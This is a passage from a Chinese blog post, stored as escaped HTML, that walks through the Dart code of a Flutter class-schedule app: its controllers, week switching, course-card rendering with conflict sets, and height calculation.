记录页面信息的控制器\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"n\"\u003eScrollController\u003c/span\u003e \u003cspan class=\"n\"\u003erowControl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e/// 滚动控制器\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e \u003cspan class=\"n\"\u003edecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\t \u003cspan class=\"c1\"\u003e/// 一个 Container 的装饰配置信息\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e第一个 pageControl 涉及到 PageView ,这里就是课程表信息的页面,我们使用这个来方便换页。\u003c/p\u003e\n\u003cp\u003e第二个 rowControl 涉及到最上面的周次选择列,控制上面周次选择的滚动。\u003c/p\u003e\n\u003cp\u003e前两个控制器共享 currentWeekIndex 这个状态。\u003c/p\u003e\n\u003cp\u003e第三个 decoration 就是我课程表可以搞背景的东西,这个我不打算在博文里面说了,因为太简单了。\u003c/p\u003e\n\u003cp\u003e页面初始化,本质上就是这三个控制器的初始化了。首先判断当前应该显示第几周的课,然后分别使前两个控制器的初始值在对应的周次,最后初始化背景图(如果有的话)。\u003c/p\u003e\n\u003cp\u003e在判断显示周次上,如果当前不在上课周期,判断开学前还是刚放假,然后相应设置为第一周和最后一周。\u003c/p\u003e\n\u003ch5 id=\"最上面的表列\"\u003e最上面的表列\u003c/h5\u003e\n\u003cp\u003e这个是一列按钮,分别是周次按钮,和该周课表大致显示。\u003c/p\u003e\n\u003cp\u003e这个东西有个锁,叫做 \u003ccode\u003eisTopRowLocked\u003c/code\u003e ,保证按下按钮的时候数据的统一性,毕竟页面状态有两个控制器都在读。\u003c/p\u003e\n\u003cp\u003e每个按钮都有个函数,这个函数定义如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003eisTopRowLocked\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003esetState\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003ecurrentWeekIndex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003epageControl\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eanimateToPage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nl\"\u003ecurve:\u003c/span\u003e \u003cspan class=\"n\"\u003eCurves\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eeaseInOutCubic\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nl\"\u003eduration:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003emilliseconds:\u003c/span\u003e \u003cspan class=\"n\"\u003echangePageTime\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003echangeTopRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e详情查看 \u003ccode\u003e_topRow\u003c/code\u003e 函数。\u003c/p\u003e\n\u003cp\u003e当按下按钮的时候,最顶部的锁锁上,然后刷新状态,这其中:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e设置页面信息为目标页面\u003c/li\u003e\n\u003cli\u003epageControl 控制器进行换页操作,这其中有动画和动画时长。\u003c/li\u003e\n\u003cli\u003e最上面表列进行换页操作,然后开锁。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e其中上面换表列的操作比较复杂,因为不是 PageView,每次的偏移量需要提前算好,这也是我将换周次按钮的一些装饰信息写作常量的原因。\u003c/p\u003e\n\u003cp\u003e另外,为了适应横屏幕,尤其是手机窄屏幕的横屏幕,我设置了高度 500 px 限制,小于这个数时候,只显示文字,不显示大致课表概览。\u003c/p\u003e\n\u003ch5 id=\"索引行\"\u003e索引行\u003c/h5\u003e\n\u003cp\u003e这一行,在代码里面叫 \u003ccode\u003e_middleRow\u003c/code\u003e,是用来显示日期信息的。这块代码有三处值得注意:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e需要计算那一周周一的日期。\u003c/li\u003e\n\u003cli\u003e今天的颜色需要不一样。\u003c/li\u003e\n\u003cli\u003e长宽比不同的时候,字体的颜色不同。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"课程表具体内容\"\u003e课程表具体内容\u003c/h5\u003e\n\u003cp\u003e课程表你可以发现有八列,最左面一列是显示数字索引的,这里不过多说明。右面七列就是课表了。\u003c/p\u003e\n\u003cp\u003e关于课表,希望大家还记得我上面说到的稀疏数组,那个数组实际上对应了这里。我们的渲染是按照周一到周日七天七列来处理的。\u003c/p\u003e\n\u003cp\u003e每一列都是由若干 classCard 生成的,classCard 需要三个变量:课程索引,课程长度,以及一个冲突课程 Set 。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003eclassCard\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e \u003cspan class=\"n\"\u003eheight\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003econflict\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e卡片根据索引来渲染:如果索引是 -1,我们认为这个地方没课,渲染一个空白的卡片占位;如果索引不是 -1,我们将直接渲染对应课程,同时引入一个按钮,在按下去的时候显示所有冲突课程的信息。卡片高度是基于课程表高度计算的,稍后我将介绍。\u003c/p\u003e\n\u003cp\u003e当渲染每一周的时候,我们查询在那个稀疏数组中对应的元素,然后提取出第一个元素,也就是给用户渲染的课程信息。然后决定长度,方法是向后遍历,并且累加循环标志变量和长度。这其中,所有在这个范围内的冲突课程都要记录下来,为防止重复信息,使用 Set ,也就是不重复序列。最后,不重复序列去掉 -1 元素,因为代表没有课程信息。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ethisRow\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Choice the day and render it!\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"m\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"c1\"\u003e// 提取出第一个元素\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eplaces\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003econtroller\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eweekIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"c1\"\u003e// The length to render.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"n\"\u003eSet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003econflict\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"n\"\u003econtroller\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eweekIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003etoSet\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 决定长度,向后遍历,并且累加循环标志变量和长度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"m\"\u003e9\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"n\"\u003econtroller\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eweekIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"n\"\u003eplaces\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003econflict\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eaddAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\t\u003cspan class=\"n\"\u003econtroller\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eweekIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003etoSet\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 不重复序列去掉 -1 元素\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003econflict\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eremove\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Generate the row.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003ethisRow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eclassCard\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eplaces\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eclassTableContentHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003econflict\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ethisRow\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e最后说明课程表高度的计算。页面高度在 800px 是个节点,小于 800 的话,直接乘以 0.85 ,来隐去九十节课;大于 800 的话,页面高度减去上面两层的高度。\n最后,我使用了 \u003ccode\u003eSingleChildScrollView\u003c/code\u003e 包裹整个课程表,让八列可以同时滚动,防止页面高度小于 800px 的情况。\u003c/p\u003e\n\u003ch5 id=\"课程详细信息\"\u003e课程详细信息\u003c/h5\u003e\n\u003cp\u003e代码在 \u003ccode\u003e_buttomInformation\u003c/code\u003e函数中,他接受那个冲突课程 Set 。根据这个 Set 提供的索引,输出对应课程的时间信息,和该课程安排在第几周生效。\u003c/p\u003e\n\u003cp\u003e(这块我是抄某个同学的,他还提醒我要写上课程序号啥的)\u003c/p\u003e\n\u003cp\u003e使用 \u003ccode\u003eshowDialog\u003c/code\u003e 函数弹出信息,弹出的是一个 Column 列,总共是这个时间段内的所有课程。\u003c/p\u003e\n\u003ch5 id=\"未安排课程信息\"\u003e未安排课程信息\u003c/h5\u003e\n\u003cp\u003e很简单地用新页面胡乱搓了个()代码很简单:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eNotArrangedClassList\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatelessWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eClassDetail\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eNotArrangedClassList\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eScaffold\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eappBar:\u003c/span\u003e \u003cspan class=\"n\"\u003eAppBar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;没有时间安排的科目\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebody:\u003c/span\u003e \u003cspan class=\"n\"\u003edataList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eCard\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eCard\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 